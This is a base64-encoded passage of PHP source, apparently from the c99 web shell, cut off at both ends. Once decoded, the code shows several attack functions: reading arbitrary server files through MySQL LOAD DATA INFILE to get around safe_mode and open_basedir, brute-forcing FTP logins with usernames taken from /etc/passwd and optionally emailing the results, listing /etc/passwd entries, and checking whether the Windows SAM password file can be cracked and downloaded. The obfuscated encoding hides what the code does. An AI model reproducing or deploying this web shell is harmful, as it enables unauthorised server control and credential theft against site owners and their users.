NvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgIH0KICAgIH0KICAgfQogICB9CiAgfQogIGVsc2UKICB7CiAgICRhY3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3NlcyIsImdldGZpbGUiKTsKICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkgez8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImdldGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQogICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkKICAgewogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgaWYgKCRzcWxfYWN0ID09ICJuZXdkYiIpCiAgICB7CiAgICAgZWNobyAiPGI+IjsKICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQogICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30KICAgIH0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikKICAgIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1zdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICB9CiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKQogICAgewogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBWQVJJQUJMRVMiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJwcm9jZXNzZXMiKQogICAgewogICAgIGlmICghZW1wdHkoJGtpbGwpKSB7JHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksICRzcWxfc29jayk7IGVjaG8gIjxiPktpbGxpbmcgcHJvY2VzcyAjIi4ka2lsbC4iLi4uIG9rLiBoZSBpcyBkZWFkLCBhbWVuLjwvYj4iO30KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgUFJPQ0VTU0xJU1QiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5JRDwvYj48L3RkPjx0ZD48Yj5VU0VSPC9iPjwvdGQ+PHRkPjxiPkhPU1Q8L2I+PC90ZD48dGQ+PGI+REI8L2I+PC90ZD48dGQ+PGI+Q09NTUFORDwvYj48L3RkPjx0ZD48Yj5USU1FPC9iPjwvdGQ+PHRkPjxiPlNUQVRFPC9iPjwvdGQ+PHRkPjxiPklORk88L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJnZXRmaWxlIikKICAgIHsKICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsKICAgICBpZiAoISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9CiAgICAgaWYgKCRzZWxlY3QpCiAgICAgewogICAgICAkY3JlYXRlZCA9IEZBTFNFOwogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7CiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTsiKTsKICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9CiAgICAgICAkZiA9ICIiOwogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQogICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCIgZG9lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9CiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAgbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7CiAgICAgIH0KICAgICB9CiAgICAgbXlzcWxfZHJvcF9kYigkdG1wZGIpOwogICAgfQogICB9CiAgfQogfQogZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsKIGlmICgkc3FsX3NvY2spCiB7CiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsKICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSl7JGFmZmVjdGVkID0gMDt9CiAgZWNobyAiPHRyPjx0ZD48Y2VudGVyPjxiPkFmZmVjdGVkIHJvd3M6ICIuJGFmZmVjdGVkLiI8L2NlbnRlcj48L3RkPjwvdHI+IjsKIH0KIGVjaG8gIjwvdGFibGU+IjsKfQppZiAoJGFjdCA9PSAibWtkaXIiKQp7CiBpZiAoJG1rZGlyICE9ICRkKQogewogIGlmIChmaWxlX2V4aXN0cygkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fQogIGVsc2VpZiAoIW1rZGlyKCRta2RpcikpIHtlY2hvICI8Yj5NYWtlIERpciBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpLiJcIjwvYj46IGFjY2VzcyBkZW5pZWQiO30KICBlY2hvICI8YnI+PGJyPiI7CiB9CiAkYWN0ID0gJGRzcGFjdCA9ICJscyI7Cn0KaWYgKCRhY3QgPT0gImZ0cHF1aWNrYnJ1dGUiKQp7CiBlY2hvICI8Yj5GdHAgUXVpY2sgYnJ1dGU6PC9iPjxicj4iOwogaWYgKCF3aW4pIHtlY2hvICJUaGlzIGZ1bmN0aW9ucyBub3Qgd29yayBpbiBXaW5kb3dzITxicj48YnI+Ijt9CiBlbHNlCiB7CiAgZnVuY3Rpb24gYzk5ZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkKICB7CiAgIGlmICgkZnFiX29ubHl3aXRoc2gpIHskVFJVRSA9ICghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL0ZBTFNFIiwiL3NiaW4vbm9sb2dpbiIpKSk7fQogICBlbHNlIHskVFJVRSA9IFRSVUU7fQogICBpZiAoJFRSVUUpCiAgIHsKICAgICRzb2NrID0gQGZ0cF9jb25uZWN0KCRob3N0LCRwb3J0LCR0aW1lb3V0KTsKICAgIGlmIChAZnRwX2xvZ2luKCRzb2NrLCRsb2dpbiwkcGFzcykpCiAgICB7CiAgICAgZWNobyAiPGEgaHJlZj1cImZ0cDovLyIuJGxvZ2luLiI6Ii4kcGFzcy4iQCIuJGhvc3QuIlwiIHRhcmdldD1cIl9ibGFua1wiPjxiPkNvbm5lY3RlZCB0byAiLiRob3N0LiIgd2l0aCBsb2dpbiBcIiIuJGxvZ2luLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRwYXNzLiJcIjwvYj48L2E+Ljxicj4iOwogICAgIG9iX2ZsdXNoKCk7CiAgICAgcmV0dXJuIFRSVUU7CiAgICB9CiAgIH0KICB9CiAgaWYgKCFlbXB0eSgkc3VibWl0KSkKICB7CiAgIGlmICghaXNfbnVtZXJpYygkZnFiX2xlbmdodCkpIHskZnFiX2xlbmdodCA9ICRuaXhwd2RwZXJwYWdlO30KICAgJGZwID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwiciIpOwogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IGdldCAvZXRjL3Bhc3N3ZCBmb3IgcGFzc3dvcmQtbGlzdC4iO30KICAgZWxzZQogICB7CiAgICBpZiAoJGZxYl9sb2dnaW5nKQogICAgewogICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHskZnFiX2xvZ2ZwID0gZm9wZW4oJGZxYl9sb2dmaWxlLCJ3Iik7fQogICAgIGVsc2UgeyRmcWJfbG9nZnAgPSBGQUxTRTt9CiAgICAgJGZxYl9sb2cgPSAiRlRQIFF1aWNrIEJydXRlIChjYWxsZWQgcmVkaGF0IHYuICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7CiAgICAgaWYgKCRmcWJfbG9nZmlsZSkge2Z3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgIH0KICAgIG9iX2ZsdXNoKCk7CiAgICAkaSA9ICRzdWNjZXNzID0gMDsKICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOwogICAgd2hpbGUoIWZlb2YoJGZwKSkKICAgIHsKICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsKICAgICBpZiAoYzk5ZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSwxLCRzdHJbMF0sJHN0clswXSwkc3RyWzZdLCRmcWJfb25seXdpdGhzaCkpCiAgICAgewogICAgICBlY2hvICI8Yj5Db25uZWN0ZWQgdG8gIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIiB3aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRzdHJbMF0uIlwiPC9iPjxicj4iOwogICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsKICAgICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9CiAgICAgICRzdWNjZXNzKys7CiAgICAgIG9iX2ZsdXNoKCk7CiAgICAgfQogICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQogICAgICRpKys7CiAgICB9CiAgICBpZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7ICRmcWJfbG9nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9CiAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJyPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjxiPiIuJHN1Y2Nlc3MuIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiI8L2I+PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIjxicj4iOwogICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxuVG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiJcclxuVG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIlxyXG5TdWNjZXNzLjogIi4kc3VjY2Vzcy4iXHJcblVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iXHJcbiI7CiAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgIGlmICgkZnFiX2xvZ2VtYWlsKSB7QG1haWwoJGZxYl9sb2dlbWFpbCwicmVkaGF0IHYuICIuJHNodmVyLiIgcmVwb3J0IiwkZnFiX2xvZyk7fQogICAgZmNsb3NlKCRmcWJfbG9nZnApOwogICB9CiAgfQogIGVsc2UKICB7CiAgICRsb2dmaWxlID0gJHRtcGRpcl9sb2dzLiJjOTlzaF9mdHBxdWlja2JydXRlXyIuZGF0ZSgiZC5tLllfSF9pX3MiKS4iLmxvZyI7CiAgICRsb2dmaWxlID0gc3RyX3JlcGxhY2UoIi8vIixESVJFQ1RPUllfU0VQQVJBVE9SLCRsb2dmaWxlKTsKICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwiZnRwcXVpY2ticnV0ZVwiPjxicj5SZWFkIGZpcnN0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9XCJmcWJfbGVuZ2h0XCIgdmFsdWU9XCIiLiRuaXhwd2RwZXJwYWdlLiJcIj48YnI+PGJyPlVzZXJzIG9ubHkgd2l0aCBzaGVsbD8mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9vbmx5d2l0aHNoXCIgdmFsdWU9XCIxXCI+PGJyPjxicj5Mb2dnaW5nPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj5Mb2dnaW5nIHRvIGZpbGU/Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dmaWxlXCIgdmFsdWU9XCIiLiRsb2dmaWxlLiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dmaWxlKSsyKihzdHJsZW4oJGxvZ2ZpbGUpLzEwKSkuIlwiPjxicj5Mb2dnaW5nIHRvIGUtbWFpbD8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2VtYWlsXCIgdmFsdWU9XCIiLiRsb2dfZW1haWwuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2VtYWlsKSsyKihzdHJsZW4oJGxvZ2VtYWlsKS8xMCkpLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkJydXRlXCI+PC9mb3JtPiI7CiAgfQogfQp9CmlmICgkYWN0ID09ICJkIikKewogaWYgKCFpc19kaXIoJGQpKSB7ZWNobyAiPGNlbnRlcj48Yj5QZXJtaXNpb24gZGVuaWVkITwvYj48L2NlbnRlcj4iO30KIGVsc2UKIHsKICBlY2hvICI8Yj5EaXJlY3RvcnkgaW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+IjsKICBpZiAoISR3aW4pCiAgewogICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOwogICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQpKTsKICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7CiAgICRyb3dbXSA9ICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkZCkpOwogIH0KICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj48L2E+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZCkpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsKIH0KfQppZiAoJGFjdCA9PSAicGhwaW5mbyIpIHtAb2JfY2xlYW4oKTsgcGhwaW5mbygpOyBjOTlzaGV4aXQoKTt9CmlmICgkYWN0ID09ICJzZWN1cml0eSIpCnsKIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uOjwvYj48L2NlbnRlcj48Yj5PcGVuIGJhc2UgZGlyOiAiLiRob3BlbmJhc2VkaXIuIjwvYj48YnI+IjsKIGlmICghJHdpbikKIHsKICBpZiAoJG5peHBhc3N3ZCkKICB7CiAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9CiAgIGVjaG8gIjxiPipuaXggL2V0Yy9wYXNzd2Q6PC9iPjxicj4iOwogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwic2VjdXJpdHlcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cIm5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIuJG5peHB3ZF9zLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5peHB3ZF9lXCIgdmFsdWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsKICAgJGkgPSAkbml4cHdkX3M7CiAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkKICAgewogICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsKICAgIGlmICgkdWlkKQogICAgewogICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdWlkWyJkaXIiXSkuIlwiPiIuJHVpZFsiZGlyIl0uIjwvYT4iOwogICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOwogICAgfQogICAgJGkrKzsKICAgfQogIH0KICBlbHNlIHtlY2hvICI8YnI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVkLiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT48YnI+Ijt9CiB9CiBlbHNlCiB7CiAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsKICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPllvdSBjYW4ndCBjcmFjayB3aW5udCBwYXNzd29yZHMoIi4kdi4iKSA8L2ZvbnQ+PC9iPjxicj4iO30KICBlbHNlIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj5Zb3UgY2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PH